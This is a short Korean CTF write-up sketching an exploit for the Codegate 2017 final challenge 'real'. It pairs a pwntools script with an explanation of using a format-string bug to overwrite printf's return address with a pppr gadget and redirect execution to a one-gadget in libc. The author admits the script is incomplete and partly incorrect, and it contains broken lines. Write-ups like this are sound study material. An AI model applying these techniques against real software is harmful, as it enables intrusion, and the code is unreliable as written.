CTF

[codegate 2017 final]real

shnec 2017. 5. 9. 21:42


from pwn import * r=process('./real') raw_input() def _fsb(ff,var): r.sendlineafter('string -->',ff) r.sendlineafter('-->',var) r.recvuntil('is ') stack=int(r.recv(14),16) log.info(hex(stack)) r.recvuntil('-->') r.sendline(str(stack(not correct)) r.recvuntil('value is ') leak=int(r.recv(2),16) log.info('leak : '+hex(leak)) for i in range(15): _fsb("%x",str(stack))    # not correct #pppr -> libc_start_main fix to onegadget r.interactive()




이런식으로 구상했는데 정확한 입력은 구상하지 ㅇ낳았다. ㅎ_ㅎ

우선 libc_start_main이 있는 부분의 일부를 조작해서 onegadget으로 만든다.(stack이 null로 많이 초기화 되서 가능할 것이라고 생각했다. 64비트 라이브러리의 원가젯 조건이 [rsp+a]=0인 조건이 많기 때문)

printf의 ret인 main부분이 스택에 있는 걸 활용해서 $를 이용해 ret을 pppr가젯으로 바꾼다. 그러면 libc_start_main으로 리턴하게 되는데 여기에 덮어쓴 onegadget이 실행되는 것이다.


포맷스트링버그(fsb)에서 printf자체의 리턴값을 조작하여 eip를 컨트롤 할 수도 있다는 아이디어가 핵심인 것 같다.